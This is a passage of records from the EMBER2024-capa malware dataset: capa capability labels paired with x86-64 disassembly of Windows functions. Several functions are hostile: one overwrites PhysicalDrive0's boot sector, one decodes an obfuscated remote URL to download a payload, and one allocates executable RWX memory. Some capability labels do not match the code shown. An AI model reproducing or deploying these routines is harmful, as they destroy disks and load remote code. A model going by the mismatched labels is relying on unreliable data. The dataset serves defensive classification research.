joyce8/EMBER2024-capa huggingface dataset:
Function at 0x505e40
Capabilities:
Parse credit card information

Disassembly:
lea ecx, [rax - 0x61]
cmp cl, 0x19
jbe 0x505e58
lea ecx, [rax - 0x41]
cmp cl, 0x19
jbe 0x505e58
lea ecx, [rax - 0x30]
cmp cl, 9
ja 0x505e60
xor eax, eax
ret
cmp rbx, 3
je 0x505e6c
cmp rbx, 4
jne 0x505e99
cmp al, 0x2c
ja 0x505e86
lea ecx, [rax - 0x21]
cmp cl, 1
jbe 0x505e96
cmp al, 0x24
je 0x505e96
nop dword [rax]
cmp al, 0x26
jae 0x505e96
jmp 0x505e99
lea ecx, [rax - 0x3a]
cmp cl, 4
jbe 0x505e96
cmp al, 0x5b
je 0x505e96
cmp al, 0x5d
jne 0x505e99
xor eax, eax
ret
cmp al, 0x2f
ja 0x505ed2
nop dword [rax]
cmp al, 0x26
ja 0x505eb1
cmp al, 0x24
je 0x505ef1
cmp al, 0x26
je 0x505ef1
jmp 0x505f6b
lea ecx, [rax - 0x2b]
cmp cl, 1
jbe 0x505ef1
lea ecx, [rax - 0x2d]
nop dword [rax]
cmp cl, 1
jbe 0x505f68
cmp al, 0x2f
je 0x505ef1
jmp 0x505f6b
cmp al, 0x3d
ja 0x505ee9
lea ecx, [rax - 0x3a]
cmp cl, 1
jbe 0x505ef1
nop
cmp al, 0x3d
je 0x505ef1
jmp 0x505f6b
lea ecx, [rax - 0x3f]
cmp cl, 1
ja 0x505f60
cmp rbx, 2
jg 0x505f27
cmp rbx, 1
je 0x505f21
nop dword [rax]
cmp rbx, 2
jne 0x505f6b
cmp al, 0x2f
je 0x505f12
cmp al, 0x3b
je 0x505f12
cmp al, 0x2c
jne 0x505f19
mov ecx, 1
jmp 0x505f1e
cmp al, 0x3f
sete cl
mov eax, ecx
ret
cmp al, 0x3f
sete al
ret
cmp rbx, 5
jne 0x505f4a
cmp al, 0x40
je 0x505f39
cmp al, 0x2f
je 0x505f39
cmp al, 0x3f
jne 0x505f42
mov ecx, 1
nop
jmp 0x505f47
cmp al, 0x3a
sete cl
mov eax, ecx
ret
cmp rbx, 6
je 0x505f59
cmp rbx, 7
jne 0x505f6b
xor eax, eax
ret
mov eax, 1
ret
cmp al, 0x5f
je 0x505f68
cmp al, 0x7e
jne 0x505f6b
xor eax, eax
ret
cmp rbx, 7
jne 0x505f81
cmp al, 0x21
je 0x505f7d
lea ecx, [rax - 0x28]
cmp cl, 2
ja 0x505f81
xor eax, eax
nop
ret
mov eax, 1
ret
Function at 0x140001d50
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x268
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov qword [rsp + 0x30], 0
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r10, rax
test rax, rax
je 0x140001e31
lea rcx, [rsp + 0x50]
mov edx, 4
lea rax, [0x1400047d0]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001dc0
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x200
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140002aa0
add rsp, 0x268
ret
Function at 0x140003454
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000349e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000349e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000349e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000349e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000349e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400034a0
xor al, al
add rsp, 0x28
ret
Function at 0x140001050
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x4a0
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rbx + 8]
sub rdx, qword [rbx]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbx]
mov r8, qword [rbx + 8]
sub r8, rdx
mov rcx, rax
mov rdi, rax
call fcn.140001880
xor edx, edx
mov rcx, rsi
lea r8d, [rdx + 1]
call qword [sym.imp.dbghelp.dll_SymInitialize]
lea rdx, [rsp + 0x160]
lea rcx, str.c:windows_system32kernel32.dll
xor r8d, r8d
call qword [sym.imp.dbghelp.dll_SymSrvGetFileIndexInfo]
xor r11d, r11d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x274]
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x28], r11d
lea r9, [rsp + 0x270]
lea r8, str.kernel32.dll
lea rdx, str.c:windows_system32
mov rcx, rsi
mov dword [rsp + 0x20], eax
call qword [sym.imp.dbghelp.dll_SymFindFileInPath]
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140001350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x28]
mov dword [rbp - 0x40], 0x70747468
mov dword [rbp - 0x3c], 0x742f2f3a
mov dword [rbp - 0x38], 0x6f2e3933
mov dword [rbp - 0x34], 0x322f656e
mov dword [rbp - 0x30], 0x67706a2e
mov byte [rbp - 0x2c], 0
call fcn.140001130
mov rbx, qword [rbp - 0x28]
cmp rbx, qword [rbp - 0x20]
je 0x1400013a4
lea rcx, [rbp - 0x28]
call fcn.140001050
test rbx, rbx
je 0x1400013b1
mov rcx, rbx
call fcn.140001bb4
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret

Function at 0x140002f44
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140002db4
Function at 0x140005a08
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000e570]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140003c28
xor ebx, ebx
cmp qword [0x14000ffc8], rbx
mov rdi, rax
jne 0x140005b1b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140005bf2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140005bf2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000ffc8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000ffd0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14000ffd8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14000ffe8], rax
test rax, rax
je 0x140005b12
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14000ffe0], rax
jmp 0x140005b22
mov rax, qword [0x14000ffe0]
jmp 0x140005b29
mov rax, qword [0x14000ffe0]
mov r11, qword [0x14000ffe8]
cmp rax, rdi
je 0x140005b90
cmp r11, rdi
je 0x140005b90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14000ffe8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140005b90
test rax, rax
je 0x140005b90
call rsi
test rax, rax
je 0x140005b8a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140005b8a
test byte [rsp + 0x40], 1
jne 0x140005b90
bts ebp, 0x15
jmp 0x140005bd0
mov rcx, qword [0x14000ffd0]
cmp rcx, rdi
je 0x140005bd0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005bd0
call rax
mov rbx, rax
test rax, rax
je 0x140005bd0
mov rcx, qword [0x14000ffd8]
cmp rcx, rdi
je 0x140005bd0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005bd0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000ffc8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005bf2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140005bf4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400055c0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007593
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000e570]
jne 0x1400055da
rol rcx, 0x10
test cx, 0xffff
jne 0x1400055d6
repz ret
ror rcx, 0x10
jmp 0x1400074ec
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400100a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140010198]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007571
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400100a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140007593
mov rax, qword [rsp + 0x88]
mov qword [0x140010198], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140010138], rax
mov rax, qword [0x140010198]
mov qword [0x140010010], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140010120], rax
mov dword [0x140010000], 0xc0000409
mov dword [0x140010004], 1
mov rax, qword [0x14000e570]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000e578]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140010098], eax
mov ecx, 1
call fcn.1400055e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000c5b0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140010098], 0
jne 0x14000761a
mov ecx, 1
call fcn.1400055e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140002060
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rdi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov r9, rcx
movabs rbp, 0xc2b2ae3d27d4eb4f
movabs rsi, 0x9e3779b185ebca87
movabs r14, 0x27d4eb2f165667c5
movabs r15, 0x7a1435883d4d519d
cmp rdi, 0x20
jb 0x140002159
mov r8, qword [r9 + 0x18]
mov rdx, qword [rcx + 8]
mov rax, r8
mov r9, qword [r9 + 0x20]
mov rcx, qword [rcx + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rcx
rol rax, 7
add r10, rax
mov rax, rdx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rdx, rbp
imul rcx, rbp
imul r8, rbp
imul r9, rbp
rol rdx, 0x1f
imul rdx, rsi
rol rcx, 0x1f
xor r10, rdx
rol r8, 0x1f
imul r10, rsi
imul rcx, rsi
imul r8, rsi
sub r10, r15
rol r9, 0x1f
xor r10, rcx
imul r10, rsi
imul r9, rsi
sub r10, r15
xor r10, r8
imul r10, rsi
sub r10, r15
xor r10, r9
imul r10, rsi
add rax, r10
add rax, rdi
jmp 0x140002161
lea rax, [rdi + r14]
add rax, qword [rcx + 0x18]
lea rdx, [r11 + 8]
cmp rdx, rbx
ja 0x14000219a
nop word [rax + rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, rbp
add r11, 8
rol rcx, 0x1f
imul rcx, rsi
xor rax, rcx
rol rax, 0x1b
imul rax, rsi
sub rax, r15
cmp rdx, rbx
jbe 0x140002170
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x1400021c5
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rsi
xor rax, rcx
rol rax, 0x17
imul rax, rbp
add rax, r8
cmp r11, rbx
jae 0x1400021eb
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r14
xor rax, rcx
rol rax, 0xb
imul rax, rsi
cmp r11, rbx
jb 0x1400021d0
mov rbx, qword [rsp + 0x18]
mov rcx, rax
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
shr rcx, 0x21
xor rcx, rax
imul rcx, rbp
mov rbp, qword [rsp + 0x20]
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
ret

Function at 0x14000a500
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
mov edi, 0x28
test al, al
je 0x14000a5b1
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.14000fc80
cmp rax, 1
jne 0x14000a5e7
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x14000a58d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x14000a580
cmp rcx, 1
jb 0x14000a5e7
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14000a550
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.14000c1b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.14000f93c
int3
Function at 0x14000a670
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a6b5
xor al, al
jmp 0x14000a702
cmp word [rbx], 0
je 0x14000a6cd
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a6c0
cmp word [rsp + 0x30], 0
je 0x14000a6fb
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a723
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a6e0
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000c1b0
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000f93c
int3
Function at 0x14000b580
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002fd18]
test rcx, rcx
je 0x14000b5bb
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000b5ae
mov rcx, qword [0x14002fd18]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [0x14002fd18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x14002fd28], 0
je 0x14000b6ae
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x1400299b8]
mov qword [rsp + 0x80], rsi
lea rsi, [0x140030550]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b68f
test al, 0x10
je 0x14000b68f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000b635
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14000caa4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000caee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000caee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000caee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000caee
cmp dword [rcx + 0x84], 0xe
jbe 0x14000caee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000caf0
xor al, al
add rsp, 0x28
ret

Function at 0x14000f748
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f7b7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f7b7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f7b7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f7b7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f7b7
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f7b7
cmp dword [rcx + 0xf8], 0
je 0x14000f7b7
mov ecx, ebx
call fcn.14000f85c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f650
nop
cmp dword [rbp + 0x20], 0
jne 0x14000f818
call fcn.14001433c
cmp eax, 1
jne 0x14000f808
xor dl, dl
jmp 0x14000f812
call fcn.140014308
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x14000f823
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f82c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f748

Function at 0x14000f930
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f7b7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f7b7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f7b7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f7b7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f7b7
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f7b7
cmp dword [rcx + 0xf8], 0
je 0x14000f7b7
mov ecx, ebx
call fcn.14000f85c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f650
nop
cmp dword [rbp + 0x20], 0
jne 0x14000f818
call fcn.14001433c
cmp eax, 1
jne 0x14000f808
xor dl, dl
jmp 0x14000f812
call fcn.140014308
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x14000f823
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f82c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f748
Function at 0x140018f38
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140018fbf
mov rsi, rbx
cmp word [rax], bp
je 0x140018f7e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140018f68
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140018f64
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016470
mov rdi, rax
test rax, rax
je 0x140018fac
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14001fb60
mov rbp, rdi
xor ecx, ecx
call fcn.140015550
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001b080
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b096
mov al, 1
jmp 0x14001b102
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b0a7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b100
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019280
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b100
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b100
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b100
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b102
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001f340
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f368
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f368
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140002c50
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x170
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea rdx, [rsp + 0x50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140002cb6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140005090
mov dword [rsp + 0x20], 1
mov rax, rbx
jmp 0x140002cdf
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.1400061d0
add rsp, 0x170
pop rbx
ret

Function at 0x140002dc0
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xa0
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x5c], 3
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x28], 8
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
lea r9d, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x80]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea ecx, [rax + 0x10]
call fcn.1400061f0
mov rsi, rax
lea rax, vtable.obf::bool_functor_class__int___cdecl_WinMain_struct_HINSTANCE______ptr64__struct_HINSTANCE______ptr64__char____ptr64__int_::_4::_lambda_1__.0
mov qword [rsi], rax
lea rax, [rsp + 0x58]
mov qword [rsi + 8], rax
mov qword [rsp + 0x38], rsi
mov ecx, 0x10
call fcn.1400061f0
mov rbx, rax
lea rax, vtable.obf::next_step_functor_class__int___cdecl_WinMain_struct_HINSTANCE______ptr64__struct_HINSTANCE______ptr64__char____ptr64__int_::_4::_lambda_2__.0
mov qword [rbx], rax
lea rax, [rsp + 0x5c]
mov qword [rbx + 8], rax
mov qword [rsp + 0x40], rbx
mov ecx, 0x10
call fcn.1400061f0
mov rdi, rax
